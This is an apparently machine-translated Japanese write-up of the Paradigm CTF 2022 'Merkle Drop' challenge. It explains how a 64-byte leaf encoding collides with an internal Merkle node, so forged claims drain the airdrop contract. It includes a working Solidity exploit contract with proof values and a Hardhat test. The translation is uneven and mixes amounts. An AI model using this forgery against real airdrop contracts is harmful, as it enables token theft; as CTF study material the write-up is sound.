パラダイム CTF 2022 マークルドロップ
author:Thomas_Xu
ParadigmCTF 2022 公式サイト
ParadigmCTF 2022 ソースコード
環境構築:
トピック環境は docker を使用する必要があるため、環境構築は比較的面倒です。ハードハットフレームワークのテスト環境を再構築し、問題がイーサリアムのメインチェーンにあるため、Alchemy
メインネットのフォークを使用してテストしました
トピック分析
まず、このトピックの説明を見てみましょう。 Were you whitelisted?
あなたはホワイト リストに含まれていますか? 明らかに、これは短いホワイトリストに関する質問です。タイトルは、各ユーザーの対応するアドレスと検証ハッシュを含むindex
、 64 のリーフ ノードの検証情報を提供します。ユーザーは、このファイル内の関連する証拠を使用して、契約内の対応する量のトークンを請求できます。どうやら何らかの抜け穴を使ってホワイトリストの権限を取得する必要があるようですが、それを入力して判定条件を見てみましょう。amount
proof
Setup
function isSolved() public view returns (bool) {
bool condition1 = token.balanceOf(address(merkleDistributor)) == 0;
bool condition2 = false;
for (uint256 i = 0; i < 64; ++i) {
if (!merkleDistributor.isClaimed(i)) {
condition2 = true;
break;
}
}
return condition1 && condition2;
}
判決は 2 つあります。
- Airdrop ウォレットの残高請求リクエスト
- ホワイトリスト内の少なくとも 1 人がエアドロップを持っていないことが必要です
計算してみると、jsonファイル内の64アドレスで受け取れる金額の合計は、merkleDistributor
jsonファイル内の残高75ETHと全く同じとなり、この2つの判定を同時に完了することは不可能と思われます。
標準に従って実装されたマークルツリーであれば、攻撃することはほぼ不可能です。ここでのコードと Merkle Tree の標準実装の違いを比較してみましょう。
ここがuint96
一番怪しいところです
MerkleTree の検証プロセスを確認してみましょう
マークル ツリーの基本原理は、リーフ ノードの値に基づいてレイヤーごとにハッシュを計算し、最終的にルート値を取得することです。特定のリーフ ノードがマークル ツリー内にあるかどうかを確認するには、対応する計算パスを証明し、最終的なルート値が一致しているかどうかを観察します。
そして、この質問の最も独創的な点は、amout
フィールドが uint96 を使用しているため、偶然が存在するということです。
function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external {
...
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');
...
}
}
請求項におけるノードnodeのハッシュ計算方法は、abi.encodePacked(index, account, amount)
まずハッシュすることである。ここで 3 つのフィールドは次のとおりです
- インデックス[uint256]: 32バイト
- アカウント[アドレス]:20バイト
- 量[uint96]:12バイト
これら 3 つのフィールドを合計すると、正確に 64 バイトになります。これは、2 つの keccak256 ハッシュ結果をつなぎ合わせたサイズとまったく同じです。一方のハッシュ値はインデックスとして使用され、もう一方のハッシュ値はアカウント+金額として使用されていることがわかります。
次に、この偶然を利用して偽の入力を構築すると、この入力はハッシュ検証を完全に通過できます。
悪用する
現在の焦点は、この「一致ハッシュ」を構築することです。
エアドロップの総数は 7500 ETH (0x0fe1c215e8f838e00000)、uint96 の最大値は 0xffffffffffffffffffffffff です。明らかに、これがランダムなハッシュ結果であれば、エアドロップの総数よりもはるかに大きくなります。
0xffffffffffffffffffffffff
0x00000fe1c215e8f838e00000
両者の違いは少なくとも 5 つの 0 ですが、これもヒントになるので、tree.json に移動して 5 つの 0 が連続するハッシュを検索してみましょう。
ノード37を見つけるのは簡単です
さらに偶然なことに、ハッシュを最初の 0 から切り捨てると、最初の部分はちょうど 20 バイトになり、後半の部分はちょうど 12 バイトになります。つまり、このハッシュは次のように解析できますaccount + amount
。
account: 0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A
amount: 0x00000f40f0c122ae08d2207b
MerkleProof
ノードを確認する方法を見てみましょう。
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
)
internal
pure
returns (bool)
{
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash < proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
実際、検証プロセスはマークルツリーの標準実装と同じで、リーフ ノードと検証ノードはボトムアップで、2 つのハッシュが結合され、ハッシュが取得され、最後にハッシュと比較されます。ルートハッシュを使用して、それらが等しいかどうかを確認します。
次に、前の偶然のおかげで、インデックス 37 の最初の証明ノードをブレークスルーとして使用できます。
なぜなら、検証プロセスの最初の検証 (検証されたノードと最初の証明ノード 16 進数) では、ノード 37 のハッシュと「ブレークスルー」ハッシュを結合する必要があり、その後、そのハッシュが後続の操作に使用されるからです。
そうすれば、最初の検証のポイントについて大騒ぎできます
戻って、claim
関数内でノード ハッシュがどのように計算されるかを見てみましょう。
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
前に述べたように、index
これを事前ハッシュaccount
とamount
事後ハッシュとみなすことができ、最初の検証用のスプライシングを直接構築できます。
つまり、「予期しない」パラメータを使用しても検証を完全にパスできます。
しかし現時点account
では0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A
、その金額は0x00000f40f0c122ae08d2207b
予期せぬパラメータです。換算後はamount
75弱です
计算一下还剩多少token未领
0x0fe1c215e8f838e00000 - 0x00000f40f0c122ae08d2207b =
0xa0d154c64a300ddf85
そして、この金額はインデックスが 8 のノードの金額とまったく同じであるため、このリーフ ノードを通過する限り、エアドロップ コントラクト内のすべてのトークンを受け取ることができ、この問題は解決されます。
添付されたエクスプロイトコントラクト
contract Exploit {
constructor(Setup setup) {
MerkleDistributor merkleDistributor = setup.merkleDistributor();
//通过拼接哈希,跳过第一个验证节点。
bytes32[] memory merkleProof1 = new bytes32[](5);
merkleProof1[0] = bytes32(0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d);
merkleProof1[1] = bytes32(0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde);
merkleProof1[2] = bytes32(0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813);
merkleProof1[3] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
merkleProof1[4] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
merkleDistributor.claim(
0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442,
address(0x00d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a),
0x00000f40f0c122ae08d2207b,
merkleProof1
);
//用index 8取完剩下的token即可
bytes32[] memory merkleProof2 = new bytes32[](6);
merkleProof2[0] = bytes32(0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00);
merkleProof2[1] = bytes32(0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3);
merkleProof2[2] = bytes32(0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2);
merkleProof2[3] = bytes32(0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a);
merkleProof2[4] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
merkleProof2[5] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
merkleDistributor.claim(8, address(0x249934e4C5b838F920883a9f3ceC255C0aB3f827), 0xa0d154c64a300ddf85, merkleProof2);
}
}
付属のヘルメットテストケース
const {
expect } = require("chai");
const {
ethers } = require('hardhat');
describe("Challange merkleDrop", function() {
let attacker,deployer;
it("should return the solved", async function() {
[attacker,deployer] = await ethers.getSigners();
const SetupFactory = await ethers.getContractFactory("MerkleSetup", attacker);
const setup = await SetupFactory.deploy({
value: ethers.utils.parseEther("75")
});
//Exploit
const ExploitFactory = await ethers.getContractFactory("MerkleDropExploit",attacker);
await ExploitFactory.deploy(setup.address);
expect(await setup.isSolved()).to.equal(true);
});
});